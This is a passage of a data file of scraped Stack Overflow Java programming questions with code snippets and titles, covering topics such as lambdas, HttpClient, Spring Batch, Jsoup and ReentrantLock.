DEBUG [ DTDEntityResolver ] | Trying to resolve system-id [ http : //hibernate.org/dtd/hibernate-mapping-3.0.dtd ] 11:29:23,149 INFO [ HibernateManager ] | Adding this resource to hibernate now : de/cargosoft/edi/cargoservice/entities/abteilung/Abteilung_DEV.hbm.xml ...",Migration from Hibernate 3 to 4 slows down startup +Java,"Interesting compilation error in Lambda Java 8 ( Oracle JDK ) I have a method call : This is the method I 'm trying to call : Compilation Error I get is : Weirdly , This compilesWhy is the compiler not able to synthesise the lambda into a Function ?","java -versionjava version `` 1.8.0_45 '' Java ( TM ) SE Runtime Environment ( build 1.8.0_45-b14 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 25.45-b02 , mixed mode ) new CSVFile ( ) .of ( new FileInputStream ( `` MyFile.csv '' ) ) .withColumnMapping ( `` name '' , `` fullName '' , s - > s.toUpperCase ( ) ) .withColumnMapping ( `` gender '' , `` gender '' , s - > s.toUpperCase ( ) ) ; public CSVFile withColumnMapping ( final String columnName , final String beanPropertyName , final Function < String , Object > columnTransformFunction ) { columnMappings.add ( new ColumnMapping ( columnName , beanPropertyName , Optional.of ( columnTransformFunction ) ) ) ; return this ; } [ ERROR ] /Users/sai/fun/reactivecsv/src/test/java/reactivecsv/CSVFileTest.java : [ 26,50 ] can not find symbol [ ERROR ] symbol : method toUpperCase ( ) [ ERROR ] location : variable s of type java.lang.Object Function < String , Object > upperCaseConversion = String : :toUpperCase ; new CSVFile ( ) .of ( new FileInputStream ( `` MyFile.csv '' ) ) .withColumnMapping ( `` name '' , `` fullName '' , upperCaseConversion ) .withColumnMapping ( `` gender '' , `` gender '' , upperCaseConversion ) ;","Java 8 Lambda with Function < String , Object > as argument" +Java,"I am developing a Java App . I created a pie chart using jFreeChart and added it to a PDF file created with the iText library , but I can not find a way to align and center the graphic inside the PDF . This is the code I 'm using to add the chart :","PdfContentByte contentByte = writer.getDirectContent ( ) ; PdfTemplate template = contentByte.createTemplate ( 600 , 600 ) ; Graphics2D graphics2d = template.createGraphics ( 600 , 600 , new DefaultFontMapper ( ) ) ; Rectangle2D rectangle2d = new Rectangle2D.Double ( 0 , 0 , 300 , 300 ) ; resultsPieChart.draw ( graphics2d , rectangle2d ) ; graphics2d.dispose ( ) ; contentByte.addTemplate ( template , 0 , 0 ) ;",How do I align a graphic in iTextPDF ? +Java,"( No networking knowledge required whatsoever . This is purely String and Lists ) .Say I have a function in place , one that accepts a list of String IPv4 dotted address , and sorts them in ascending order . ( Not alphabetical , true ip long format sorting ) . Let 's call this : This function already works correctly . Given an input : It will output the list : ( Let 's not get into a debate on whether it should modify the list in place or return a new list . It just returns a new list . Also , the function can not be modified because of numerous reasons . ) However , my input list looks like this : When I remove the prefixes ( only one of e or f , NOT NECESSARILY alternating ) and create a clean array to pass to the sorting function , I lose the prefix information . What I would like is an output of the type : Basically , prior to sorting , whatever prefix was present for each element in the unsorted list , the same prefix needs to be added back to the elements in the sorted list.Caveats : An IP Address can repeat in the original list , a maximum of two timesWhen repeating twice , each of the two elements will have the same prefix , guaranteedSorting algorithm will not remove duplicates.A little algorithmic help please ? ( Remember , we already have a function that can sort clean IPv4 String arraylists ) .","public static ArrayList < String > sortListOfIpv4s ( ArrayList < String > unsortedIPv4s ) ; 192.168.1.1 , 8.8.8.8 , 4.5.6.7 , 244.244.244.244 , 146.144.111.6 4.5.6.7 , 8.8.8.8 , 146.144.111.6 , 192.168.1.1 , 244.244.244.244 e192.168.1.1 , f8.8.8.8 , e4.5.6.7 , f244.244.244.244 , e146.144.111.6 e4.5.6.7 , f8.8.8.8 , e146.144.111.6 , e192.168.1.1 , f244.244.244.244",Java : Tricky sorting of prefixed Strings ( ArrayLists ) +Java,"OK I have a simple task , I just want to use Google 's search engine , more specifically , the autocorrect part . Let 's say I Google this : https : //www.google.com/search ? q=matew+mccaonagheyAs you can see , Google showed results for `` matthew mcconaughey '' , thus autocorrected the input.So , I did a bit of research and found that http : //suggestqueries.google.com can be used to query such inputs . While it worked OK most of the time , the funniest thing : when I tried to get the result for `` matew mccaonaghey '' , I got back an empty JSON . If I changed search string to `` mathew mccoanaghey '' , the results are OK.What am I missing ? Does n't suggestqueries.google.com work the same as www.google.com ? Why do I get empty json in case of suggestqueries and an actual result when using google.com ? Thank you for your answers.The code is as follows :","URL url = new URL ( `` http : //suggestqueries.google.com/complete/search ? output=firefox & client=firefox & hl=en-US & q=matew+mccaonaghey '' ) ; URLConnection conn = ( URLConnection ) url.openConnection ( ) ; conn.setRequestProperty ( `` User-Agent '' , `` Mozilla/5.0 ( Windows NT 6.2 ; Win64 ; x64 ) AppleWebKit/537.36 ( KHTML , like Gecko ) Chrome/32.0.1667.0 Safari/537.36 '' ) ; conn.connect ( ) ; BufferedReader serverResponse = new BufferedReader ( new InputStreamReader ( conn.getInputStream ( ) ) ) ; System.out.println ( serverResponse.readLine ( ) ) ; serverResponse.close ( ) ;",Implementing Google suggestions +Java,I 'm trying to execute the JMeter test case using the following command . Do I have another way of executing the test cases without having JMeter installed locally ? Here I have to provide JMeter HOME path to JMeterUtils.resorce https : //www.blazemeter.com/blog/5-ways-launch-jmeter-test-without-using-jmeter-gui,"// JMeter Engine StandardJMeterEngine jmeter = new StandardJMeterEngine ( ) ; // Initialize Properties , logging , locale , etc . JMeterUtils.loadJMeterProperties ( `` /path/to/your/jmeter/bin/jmeter.properties '' ) ; JMeterUtils.setJMeterHome ( `` /path/to/your/jmeter '' ) ; JMeterUtils.initLogging ( ) ; // you can comment this line out to see extra log messages of i.e . DEBUG level JMeterUtils.initLocale ( ) ; // Initialize JMeter SaveService SaveService.loadProperties ( ) ; // Load existing .jmx Test Plan FileInputStream in = new FileInputStream ( `` /path/to/your/jmeter/extras/Test.jmx '' ) ; HashTree testPlanTree = SaveService.loadTree ( in ) ; in.close ( ) ; // Run JMeter Test jmeter.configure ( testPlanTree ) ; jmeter.run ( ) ; }","Run JMeter test case by a Java Stand-Alone Application , without having JMeter installed locally ." +Java,"I have an ArrayList of String , let 's say originalArrayList with some values I copied this originalArrayList within inner class and removed some elementsBut this is affecting the original ArrayList which is originalArrayList in my case.How can I prevent this from happening ?",final ArrayList < String > originalArrayList = new ArrayList < > ( ) ; originalArrayList.add ( `` value1 '' ) ; originalArrayList.add ( `` value2 '' ) ; originalArrayList.add ( `` value3 '' ) ; originalArrayList.add ( `` value4 '' ) ; originalArrayList.add ( `` value5 '' ) ; button.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View v ) { ArrayList < String > tempArrayList = originalArrayList ; tempArrayList.remove ( 0 ) ; //Remove an element } } ) ;,How to change elements of ArrayList in It 's duplicate without affecting the original one ? +Java,"Suppose I have a simple interface representing a complex number , whose instances would be immutable . For the sake of brevity , I omitted the obvious plus , minus , times and divide methods that would simply create and return a new immutable instance.Now the question is , what would the best way to implement this as an immutable class ? The most simple and straightforward `` I care about performance only when it 's a problem '' approach would be to store the real and imaginary parts as final fields and compute the absolute value and angle on every invocation of those methods . This keeps the class small and simple , but obviously the last two methods return the same result every time.So why not save the absolute value and angle into a field upon creation ? Well , obviously the memory footprint of the class is now a bit larger and also , counting the the results for every instance created may be also contra productive if these two methods are called seldom.A third possibility I came up with is to compute the absolute value and angle lazily , on the first time they are required . But as you can see , this makes the code a bit cluttered and error prone . Also , I 'm not sure if the use of volatile modifier is actually correct in this context.So my question is , which of these three approaches is the best ? Is there some other even better approach ? Should I care about performance at all and stay with the first approach and think about optimizations only when performance becomes a real problem ?","public interface Complex { double real ( ) ; double imaginary ( ) ; double absolute ( ) ; double angle ( ) ; } public final class NonCachingComplex implements Complex { private final double real ; private final double imaginary ; public NonCachingComplex ( double real , double imaginary ) { this.real = real ; this.imaginary = imaginary ; } @ Override public double real ( ) { return real ; } @ Override public double imaginary ( ) { return imaginary ; } @ Override public double absolute ( ) { return Math.sqrt ( ( real * real ) + ( imaginary * imaginary ) ) ; } @ Override public double angle ( ) { return absolute ( ) == 0 ? 0 : ( Math.acos ( real / absolute ( ) ) * Math.signum ( imaginary ) ) ; } } public final class EagerCachingComplex implements Complex { private final double real ; private final double imaginary ; private final double absolute ; private final double angle ; public EagerCachingComplex ( double real , double imaginary ) { this.real = real ; this.imaginary = imaginary ; this.absolute = Math.sqrt ( ( real * real ) + ( imaginary * imaginary ) ) ; this.angle = absolute == 0 ? 0 : ( Math.acos ( real / absolute ( ) ) * Math.signum ( imaginary ) ) ; } // real ( ) and imaginary ( ) stay the same ... @ Override public double absolute ( ) { return absolute ; } @ Override public double angle ( ) { return angle ; } } public final class LazyCachingComplex implements Complex { private final double real ; private final double imaginary ; private volatile Double absolute ; private volatile Double angle ; public LazyCachingComplex ( double real , double imaginary ) { this.real = real ; this.imaginary = imaginary ; } // real ( ) and imaginary ( ) stay the same ... @ Override public double absolute ( ) { if ( absolute == null ) { absolute = Math.sqrt ( ( real * real ) + ( imaginary * imaginary ) ) ; } return absolute ; } @ Override public double angle ( ) { if ( angle == null ) { angle = absolute ( ) == 0 ? 0 : ( Math.acos ( real / absolute ( ) ) * Math.signum ( imaginary ) ) ; } return angle ; } }",Caching method results in immutable objects +Java,"I have upgraded Eclipse Photon 4.8 ( http : //download.eclipse.org/eclipse/downloads/drops4/S-4.9M2-201808012000/ ) to support JDK 11 ( https : //marketplace.eclipse.org/content/java-11-support-eclipse-photon-49 ) . It seems to be working fine ( Version : 4.9Build id : I20180801-2000 ) .In JDK 11 there is a new override of method toArray ( ) in Java.util.Collection : It is a default method , but it is not overriden . All it does is pass the value returned by the supplied generator function ( using a hard-coded argument of zero ) to another override of toArray ( ) which then returns the content of the Collection as an array.As described in the Javadoc for that method , it can be called like this : That works fine , and an array of String of the appropriate length , corresponding to the Collection < String > , is returned.The Javadoc also states that `` the default implementation calls the generator function with zero and then passes the resulting array to toArray ( T [ ] ) '' .If I provide my own generator function it does get called ( as shown by the println ( ) console output ) , but the return value of its apply ( ) method seems to be ignored . It 's as though I had called toArray ( String [ ] : :new ) regardless of the content of the array returned by my generator function.Here 's the MCVE : Here 's the console output produced by running the MCVE : array1 : [ This , is , a , list , of , strings ] intFunc : sz : 0 intFunc : array to be returned : [ A , B , C ] array2 : [ This , is , a , list , of , strings ] intFunc : sz : 4 intFunc : array to be returned : [ A , B , C , D ] array3 : [ This , is , a , list , of , strings ] The output shows that it does n't matter what my generator function does - the array it returns is not used.My question is how do I get this new implementation of toArray ( ) to use the array returned by my generator function , or am I attempting something that is not possible ? Update based on comments and the answer from Nicolai : The problem with my sample code was not with the generator , but with my test cases . They happened to cause the generator to return an array with fewer elements than the collection , so a new array was allocated instead , to hold exactly the number of elements in the collection.A test case that returns an array larger than the collection works as expected . For example this code : gives the following console output : intFunc : sz : 9 intFunc : array to be returned : [ A , B , C , D , E , F , G , H , I ] array4 : [ This , is , a , list , of , strings , null , H , I ] The SO question Collections emptyList/singleton/singletonList/List/Set toArray explains why there is a null value within the returned array .","default < T > T [ ] toArray ( IntFunction < T [ ] > generator ) { return toArray ( generator.apply ( 0 ) ) ; } String [ ] y = x.toArray ( String [ ] : :new ) ; package pkg ; import java.util.Arrays ; import java.util.Collection ; import java.util.List ; import java.util.function.IntFunction ; public class App { public static void main ( String [ ] args ) { IntFunction < String [ ] > intFunc = ( int sz ) - > { System.out.println ( `` intFunc : sz : `` + sz ) ; if ( sz == 0 ) { sz = 3 ; } String [ ] array = new String [ sz ] ; for ( int i = 0 ; i < sz ; i++ ) { array [ i ] = Character.toString ( ' A ' + i ) ; } System.out.println ( `` intFunc : array to be returned : `` + Arrays.toString ( array ) ) ; return array ; } ; Collection < String > coll = List.of ( `` This '' , `` is '' , `` a '' , `` list '' , `` of '' , `` strings '' ) ; // Correctly returns the collection as an array , as described in JDK11 Javadoc . String [ ] array1 = coll.toArray ( String [ ] : :new ) ; System.out.println ( `` array1 : `` + Arrays.toString ( array1 ) + '\n ' ) ; // Use generator function to return a different collection as an array - does n't work . String [ ] array2 = coll.toArray ( intFunc ) ; System.out.println ( `` array2 : `` + Arrays.toString ( array2 ) + '\n ' ) ; // Use generator function to return a different collection as an array - does n't work . String [ ] array3 = coll.toArray ( intFunc.apply ( coll.size ( ) -2 ) ) ; System.out.println ( `` array3 : `` + Arrays.toString ( array3 ) ) ; } } String [ ] array4 = coll.toArray ( intFunc.apply ( coll.size ( ) + 3 ) ) ; System.out.println ( `` array4 : `` + Arrays.toString ( array4 ) ) ;",How do I provide a generator function to Collection.toArray ( ) using JDK 11 ? +Java,"I am developing an application using GeoModel . I need to perform search in a particular radius based on the given latitude and longitude . I am able to generate the GeoCells in the datastore using Objectify , but not able to get back the results in a particular radius.I am sharing my code below.Entity ClassCustom GeocellQueryEngine Class From This SourceFetching Data HereNow the problem is I am not getting any results out from here . Can you people please help me with this as I am not getting any exception , just getting the empty list .","@ Entitypublic class NewsFeed implements Serializable { private static final long serialVersionUID = 1L ; @ Id @ Indexprivate Long feedID ; @ Indexprivate String topic ; @ Indexprivate String title ; private String description ; @ Indexprivate Date createDate ; private String imageOrVideo ; private String imageUrl ; private String blobKey ; @ Latitudeprivate Double latitude ; @ Longitudeprivate Double longitude ; @ Geocellsprivate List < String > cells ; // getter and setters ... } public class ObjectifyGeocellQueryEngine implements GeocellQueryEngine { private String geocellsProperty ; private Objectify ofy ; public static final String DEFAULT_GEOCELLS_PROPERTY = `` cells '' ; public ObjectifyGeocellQueryEngine ( Objectify ofy ) { this ( ofy , DEFAULT_GEOCELLS_PROPERTY ) ; } public ObjectifyGeocellQueryEngine ( Objectify ofy , String geocellsProperty ) { this.ofy = ofy ; this.geocellsProperty = geocellsProperty ; } @ Overridepublic < T > List < T > query ( GeocellQuery baseQuery , List < String > geocells , Class < T > entityClass ) { StringTokenizer st ; int tokenNo = 0 ; Query < T > query = ofy.query ( entityClass ) ; if ( baseQuery ! = null ) { st = new StringTokenizer ( baseQuery.getBaseQuery ( ) , `` , '' ) ; while ( st.hasMoreTokens ( ) ) { query.filter ( st.nextToken ( ) , baseQuery.getParameters ( ) .get ( tokenNo++ ) ) ; } } return query.filter ( geocellsProperty + `` IN '' , geocells ) .list ( ) ; } } Point p = new Point ( 24.8993714 , 79.5839124 ) ; // Generates the list of GeoCells List < String > cells = GeocellManager.generateGeoCell ( p ) ; List < Object > params = new ArrayList < Object > ( ) ; params.add ( `` Movies '' ) ; GeocellQuery baseQuery = new GeocellQuery ( `` topic == topic '' , `` String topic '' , params ) ; ObjectifyGeocellQueryEngine objectifyGeocellQueryEngine = new ObjectifyGeocellQueryEngine ( ofy ( ) , `` cells '' ) ; List < NewsFeed > list = objectifyGeocellQueryEngine.query ( baseQuery , cells , NewsFeed.class ) ; List < NewsFeed > list2 = GeocellManager.proximitySearch ( p , 10 , 10000 , NewsFeed.class , baseQuery , objectifyGeocellQueryEngine , GeocellManager.MAX_GEOCELL_RESOLUTION ) ; System.out.println ( list+ '' : `` +list2 ) ;",GeoSpatial Radius Search Using Objectify +Java,"I want to read transactions from text file and then write this transactions to database with JdbcBatchItemWriter . When I use csv file and DelimitedLineTokenizer , it works fine . If I use text file and FixedLengthTokenizer , could n't read lines because readLine ( ) method return null in doRead ( ) method . How can I resolve this issue . Thanks for your help.fileManager.xmlfile.txt","< bean id= '' transactionDataFileItemReader '' class= '' org.springframework.batch.item.file.FlatFileItemReader '' scope= '' step '' > < property name= '' resource '' value= '' # { jobParameters [ 'processPath ' ] } '' / > < property name= '' lineMapper '' > < bean class= '' org.springframework.batch.item.file.mapping.DefaultLineMapper '' > < property name= '' lineTokenizer '' > < bean class= '' org.springframework.batch.item.file.transform.FixedLengthTokenizer '' > < property name= '' names '' value= '' type , code '' / > < ! -- < property name= '' columns '' value= '' 1-12 , 13-15 '' / > -- > < /bean > < /property > < property name= '' fieldSetMapper '' > < bean class= '' org.springframework.batch.item.file.mapping.BeanWrapperFieldSetMapper '' > < property name= '' prototypeBeanName '' value= '' transactionMap '' / > < /bean > < /property > < /bean > < /property > < property name= '' linesToSkip '' value= '' 1 '' / > < /bean > < bean id= '' transactionDataFileItemWriter '' class= '' org.springframework.batch.item.database.JdbcBatchItemWriter '' > < property name= '' dataSource '' ref= '' dataSource '' / > < property name= '' sql '' > < value > < ! [ CDATA [ insert into TB_FORMAT ( TYPE , CODE ) values ( : type , : code ) ] ] > < /value > < /property > < property name= '' itemSqlParameterSourceProvider '' > < bean class= '' org.springframework.batch.item.database.BeanPropertyItemSqlParameterSourceProvider '' / > < /property > < /bean > 123 abc 456 def",Spring - FlatFileItemReader usage with FixedLengthTokenizer +Java,"I am trying to understand how ReentrantLock works in java.Lets consider a simple example below : I was trying to figure out the call hierarchy of lock ( ) method.For FairSync : For NonFairSync : Both lock ( ) methods call acquire ( ) method with argument as 1.In AbstractQueuedSynchronizer class : If current thread can not acquire a resource ( i.e . some another thread has acquired this resource ) , then current thread has to wait . In this case ReentrantLock calls selfInterrupt ( ) method.Now my question is how interrupt ( ) method can stop a thread which is equivalent to wait ( ) method in synchronized ? Also , after the resource has been released by another thread , how currentThread start automatically ? ( After calling unlock ( ) method by another thread which is internally calling sync.release ( 1 ) ; ) I also tried to figure out how interrupt ( ) method works from here but unable to find answer to my questions .","private ReentrantLock lock ; public void foo ( ) { lock.lock ( ) ; try { ... } finally { lock.unlock ( ) ; } } public void lock ( ) { sync.lock ( ) ; } final void lock ( ) { acquire ( 1 ) ; } final void lock ( ) { if ( compareAndSetState ( 0 , 1 ) ) setExclusiveOwnerThread ( Thread.currentThread ( ) ) ; else acquire ( 1 ) ; } public final void acquire ( int arg ) { if ( ! tryAcquire ( arg ) & & acquireQueued ( addWaiter ( Node.EXCLUSIVE ) , arg ) ) selfInterrupt ( ) ; } static void selfInterrupt ( ) { Thread.currentThread ( ) .interrupt ( ) ; }",How lock ( ) method works in ReentrantLock java +Java,"Based on the Embedding section of http : //github.com/technomancy/swank-clojure , I 'm using the following to test it out . Is there a better way to do this that does n't use Compiler ? Is there a way to programmatically stop swank ? It seems start-repl takes control of the thread . What would be a good way to spawn off another thread for it and be able to kill that thread programatically . Any help much appreciated , hhh",import clojure.lang.Compiler ; import java.io.StringReader ; public class Embed { public static void main ( String [ ] args ) throws Exception { final String startSwankScript = `` ( ns my-app\n '' + `` ( : use [ swank.swank : as swank ] ) ) \n '' + `` ( swank/start-repl ) `` ; Compiler.load ( new StringReader ( startSwankScript ) ) ; } },Embedding swank-clojure in java program +Java,"I am attempting to filter/reduce a stream of data that has some duplicated entries in it.In essence , I attempting to find a better solution to filtering a set of data than what I implemented . We have data that , at its base , are something like this : I need to extract the details such that : Only action 5 is selectedIf a detail is the same ( e.g , D6 appears twice on different days ) , the earliest date is selectedThese data are loaded into Objects ( one instance for each `` record '' ) , and there are other fields on the Object but they are not relevant for this filtering . The Detail is stored as a String , the Date as a ZonedDateTime , and the Action is an int ( well , actually an enum , but here shown as an int ) . The Objects are given in a List < Entry > in chronological order.I was able to get a working , but what I consider to be suboptimal , solution by doing : But the issue is I had to use this pass ( ) method and in it checking a Set < String > to maintain whether a given Detail had alreay been processed . While this approach works , it seems like it should be possible to avoid an external reference.I tried to use a groupingBy on the Detail , and it would allow extracting the earliest entry from the list , the problem was I no longer had a date ordering and I had to process the resultant Map < String , List < Entry > > .It seems like some reduce operation ( if I used that term correctly ) here without the use of the pass ( ) method should be possible , but I am struggling to get a better implementation.What would be a better approach such that the .filter ( e - > pass ( e , update ) ) could be removed ? Thank you !","Action | Date | Detail15 | 2016-03-15 | 5 | 2016-03-15 | D15 | 2016-09-25 | D2 < -- 5 | 2016-09-25 | D3 < -- same day , different detail4 | 2017-02-08 | D44 | 2017-02-08 | D55 | 2017-03-01 | D6 < -- 5 | 2017-03-05 | D6 < -- different day , same detail ; need earliest5 | 2017-03-08 | D75 | 2017-03-10 | D8 ... List < Entry > entries = getEntries ( ) ; // retrieved from a server final Set < String > update = new HashSet < > ( ) ; List < Entry > updates = entries.stream ( ) .filter ( e - > e.getType ( ) == 5 ) .filter ( e - > pass ( e , update ) ) .collect ( Collectors.toList ( ) ) ; private boolean pass ( Entry ehe , Set < String > update ) { final String val = ehe.getDetail ( ) ; if ( update.contains ( val ) ) { return false ; } update.add ( val ) ; return true ; }",Stream filter/reduction on duplicated entries +Java,I 'm using Jsoup to get html from web sites . I 'm using this code to get html . But when I use some Turkish letters in the link like this ; Jsoup sends the request like this : `` http : //www.example.com/ ? q=Trke '' So I ca n't get the correct result . How can I solve this problem ?,String url= '' http : //www.example.com '' ; Document doc=Jsoup.connect ( url ) .get ( ) ; String url= '' http : //www.example.com/ ? q=Türkçe '' ; Document doc=Jsoup.connect ( url ) .get ( ) ;,Jsoup connect does n't work correctly when link has Turkish letters +Java,"From Socket documentation : shutdownInput Places the input stream for this socket at `` end of stream '' . Any data sent to the input stream side of the socket is acknowledged and then silently discarded . If you read from a socket input stream after invoking shutdownInput ( ) on the socket , the stream will return EOF.In order to test interaction between clients in a server , I 've written some client bots.These bots generate somewhat random client requests . Since these only write to the server , they have no need for the input stream , they do not need to read the updates the server sends . This is the main body of code for the bots : If I uncomment the shutdownInput , an exception is thrown in the server 's client handler : Connection resetI was n't expecting an exception to be thrown on the other side of the socket . The documentation suggests ( to me , at least ) that anything sent by the other side will just be silently discarded , causing no interference with the other end 's activity , ie without having the other side throw an exception.Can I just ignore what the server sends , or should I drain what comes to the input stream ? Is there any automagic way of doing it , or do I need to regularly read and ignore ?",public void shutdownInput ( ) throws IOException private void runWriteBot ( PrintWriter out ) throws IOException { //socket.shutdownInput ( ) ; String request ; System.out.println ( `` Write bot ready . `` ) ; while ( ! quit ) { request = randomRequest ( ) ; out.println ( request ) ; sleep ( ) ; } },Discarding input from socket +Java,When we sayit prints class java.lang.Integerwhich makes sense because java.lang.Integer is a class . So we can have a corresponding Class object.But when I doit prints int which I felt is kind of ambiguous as .class returns an object of type Class and int is not a class ( but a primitive type ) . What is the motive behind allowing .class operation on primitive types when there is no such class ( primitiveType.class.getName ( ) ) present ? Also if you see toString ( ) method of class Class As primitive types are not classes or interfaces it simply print the name ( int for int ) . So why allow creating Class objects of a class which is not present ?,Class c = Integer.class ; System.out.println ( c ) ; Class c1 = int.class ; System.out.println ( c1 ) ; public String toString ( ) { return ( isInterface ( ) ? `` interface `` : ( isPrimitive ( ) ? `` '' : `` class `` ) ) + getName ( ) ; },How can we use .class on primitive types ? +Java,I was testing out the new HttpClient from Java 11 and came across the following behaviour : I am making two Async requests to a public REST API for testing and tried it with one client and two separate requests . This process did n't throw any exceptions.Then I tried refactoring the HttpClient into a method and I got the following exception when it tried to make the second request : This produces the following exception after succesfully executing the first request and failing at the second one : I tried passing separate clients and requests via parameters in the method as well but it produced the same result . What is going on here ?,"String singleCommentUrl = `` https : //jsonplaceholder.typicode.com/comments/1 '' ; String commentsUrl = `` https : //jsonplaceholder.typicode.com/comments '' ; Consumer < String > handleOneComment = s - > { Gson gson = new Gson ( ) ; Comment comment = gson.fromJson ( s , Comment.class ) ; System.out.println ( comment ) ; } ; Consumer < String > handleListOfComments = s - > { Gson gson = new Gson ( ) ; Comment [ ] comments = gson.fromJson ( s , Comment [ ] .class ) ; List < Comment > commentList = Arrays.asList ( comments ) ; commentList.forEach ( System.out : :println ) ; } ; HttpClient client = HttpClient.newBuilder ( ) .build ( ) ; client.sendAsync ( HttpRequest.newBuilder ( URI.create ( singleCommentUrl ) ) .build ( ) , HttpResponse.BodyHandlers.ofString ( ) ) .thenApply ( HttpResponse : :body ) .thenAccept ( handleOneComment ) .join ( ) ; client.sendAsync ( HttpRequest.newBuilder ( URI.create ( commentsUrl ) ) .build ( ) , HttpResponse.BodyHandlers.ofString ( ) ) .thenApply ( HttpResponse : :body ) .thenAccept ( handleListOfComments ) .join ( ) ; public void run ( ) { String singleCommentUrl = `` https : //jsonplaceholder.typicode.com/comments/1 '' ; String commentsUrl = `` https : //jsonplaceholder.typicode.com/comments '' ; Consumer < String > handleOneComment = s - > { Gson gson = new Gson ( ) ; Comment comment = gson.fromJson ( s , Comment.class ) ; System.out.println ( comment ) ; } ; Consumer < String > handleListOfComments = s - > { Gson gson = new Gson ( ) ; Comment [ ] comments = gson.fromJson ( s , Comment [ ] .class ) ; List < Comment > commentList = Arrays.asList ( comments ) ; commentList.forEach ( System.out : :println ) ; } ; sendRequest ( handleOneComment , singleCommentUrl ) ; sendRequest ( handleListOfComments , commentsUrl ) ; } private void sendRequest ( Consumer < String > onSucces , String url ) { HttpClient client = HttpClient.newBuilder ( ) .build ( ) ; HttpRequest request = HttpRequest.newBuilder ( URI.create ( url ) ) .build ( ) ; client.sendAsync ( request , HttpResponse.BodyHandlers.ofString ( ) ) .thenApply ( HttpResponse : :body ) .thenAccept ( onSucces ) .join ( ) ; } Exception in thread `` main '' java.util.concurrent.CompletionException : javax.net.ssl.SSLHandshakeException : Received fatal alert : handshake_failure at java.base/java.util.concurrent.CompletableFuture.encodeRelay ( CompletableFuture.java:367 ) at java.base/java.util.concurrent.CompletableFuture.completeRelay ( CompletableFuture.java:376 ) at java.base/java.util.concurrent.CompletableFuture $ UniCompose.tryFire ( CompletableFuture.java:1074 ) at java.base/java.util.concurrent.CompletableFuture.postComplete ( CompletableFuture.java:506 ) at java.base/java.util.concurrent.CompletableFuture.completeExceptionally ( CompletableFuture.java:2088 ) at java.net.http/jdk.internal.net.http.common.SSLFlowDelegate.handleError ( SSLFlowDelegate.java:904 ) at java.net.http/jdk.internal.net.http.common.SSLFlowDelegate $ Reader.processData ( SSLFlowDelegate.java:450 ) at java.net.http/jdk.internal.net.http.common.SSLFlowDelegate $ Reader $ ReaderDownstreamPusher.run ( SSLFlowDelegate.java:263 ) at java.net.http/jdk.internal.net.http.common.SequentialScheduler $ SynchronizedRestartableTask.run ( SequentialScheduler.java:175 ) at java.net.http/jdk.internal.net.http.common.SequentialScheduler $ CompleteRestartableTask.run ( SequentialScheduler.java:147 ) at java.net.http/jdk.internal.net.http.common.SequentialScheduler $ SchedulableTask.run ( SequentialScheduler.java:198 ) at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1128 ) at java.base/java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:628 ) at java.base/java.lang.Thread.run ( Thread.java:834 ) Caused by : javax.net.ssl.SSLHandshakeException : Received fatal alert : handshake_failure at java.base/sun.security.ssl.Alert.createSSLException ( Alert.java:128 ) at java.base/sun.security.ssl.Alert.createSSLException ( Alert.java:117 ) at java.base/sun.security.ssl.TransportContext.fatal ( TransportContext.java:308 ) at java.base/sun.security.ssl.Alert $ AlertConsumer.consume ( Alert.java:279 ) at java.base/sun.security.ssl.TransportContext.dispatch ( TransportContext.java:181 ) at java.base/sun.security.ssl.SSLTransport.decode ( SSLTransport.java:164 ) at java.base/sun.security.ssl.SSLEngineImpl.decode ( SSLEngineImpl.java:672 ) at java.base/sun.security.ssl.SSLEngineImpl.readRecord ( SSLEngineImpl.java:627 ) at java.base/sun.security.ssl.SSLEngineImpl.unwrap ( SSLEngineImpl.java:443 ) at java.base/sun.security.ssl.SSLEngineImpl.unwrap ( SSLEngineImpl.java:422 ) at java.base/javax.net.ssl.SSLEngine.unwrap ( SSLEngine.java:634 ) at java.net.http/jdk.internal.net.http.common.SSLFlowDelegate $ Reader.unwrapBuffer ( SSLFlowDelegate.java:480 ) at java.net.http/jdk.internal.net.http.common.SSLFlowDelegate $ Reader.processData ( SSLFlowDelegate.java:389 ) ... 7 more",Ca n't make more than one request on java.net.http.HttpClient or will receive : javax.net.ssl.SSLHandshakeException +Java,"Following this question about sorting a list by another list , I tried to do the same thing - but from some reason it does n't work for me . What am I missing ? It should be [ 0.9 , 10.4 , 5.0 ] ( according to order ) . What am I not doing right ? EDIT : As most of you noticed , I got answer to the question I linked to all wrong . Here 's what I actually want to do .","List < Double > nums = Arrays.asList ( 5.0 , 0.9 , 10.4 ) ; List < Double > order = Arrays.asList ( 3.0 , 1.0 , 2.0 ) ; nums.sort ( Comparator.comparing ( order : :indexOf ) ) ; System.out.println ( nums ) ; OUTPUT : [ 5.0 , 0.9 , 10.4 ]",Java Comparator.comparing not comparing ? +Java,"I 'm currently experimenting with the Google 's guice inversion of control container . I previously had singletons for just about any service ( database , active directory ) my application used . Now I refactored the code : all the dependencies are given as parameters to constructors . So far , so good . Now the hardest part is with the graphical user interface . I face this problem : I have a table ( JTable ) of products wrapped in an ProductFrame . I give the dependencies as parameters ( EditProductDialog ) .The problem is that guice ca n't know what Product I have selected in the table , so it ca n't know what to inject in the EditProductDialog.Dependency Injection is pretty viral ( if I modify one class to use dependency injection I also need to modify all the other classes it interacts with ) so my question is should I directly instantiate EditProductDialog ? But then I would have to pass manually the DBProductController to the EditProductDialog and I will also need to pass it to the ProductFrame and all this boils down to not using dependency injection at all.Or is my design flawed and because of that I ca n't really adapt the project to dependecy injection ? Give me some examples of how you used dependency injection with the graphical user interface.All the examples found on the Internet are really simple examples where you use some services ( mostly databases ) with dependency injection .","@ Injectpublic ProductFrame ( EditProductDialog editProductDialog ) { // ... } // ... @ Injectpublic EditProductDialog ( DBProductController productController , Product product ) { // ... }",Is dependency injection only for service type objects and singletons ? ( and NOT for gui ? ) +Java,"Kind of a noob question , this , but I can not figure it out.This is animal.java . I want it to be a superclass for all animal subclasses . It 's in the same package as all the subclasses.This is cow.javaEvidently , this does not run . But I want to be able to run Cow.sound ( ) and have the output read `` moo '' . I also want to be able to create more classes that override the 'call ' with their own string . What should I be doing instead ?","public class Animal { protected static String call = `` Animals make noises , but do not have a default noise , so we 're just printing this instead . `` ; public static void sound ( ) { System.out.println ( call ) ; } } class Cow extends Animal { call = `` moo '' ; }",`` override '' super class member in subclass java +Java,"I 'm working on a game , and in it I want growth to happen exponentially - so , for example , getting from 2 to 3 people might take around the 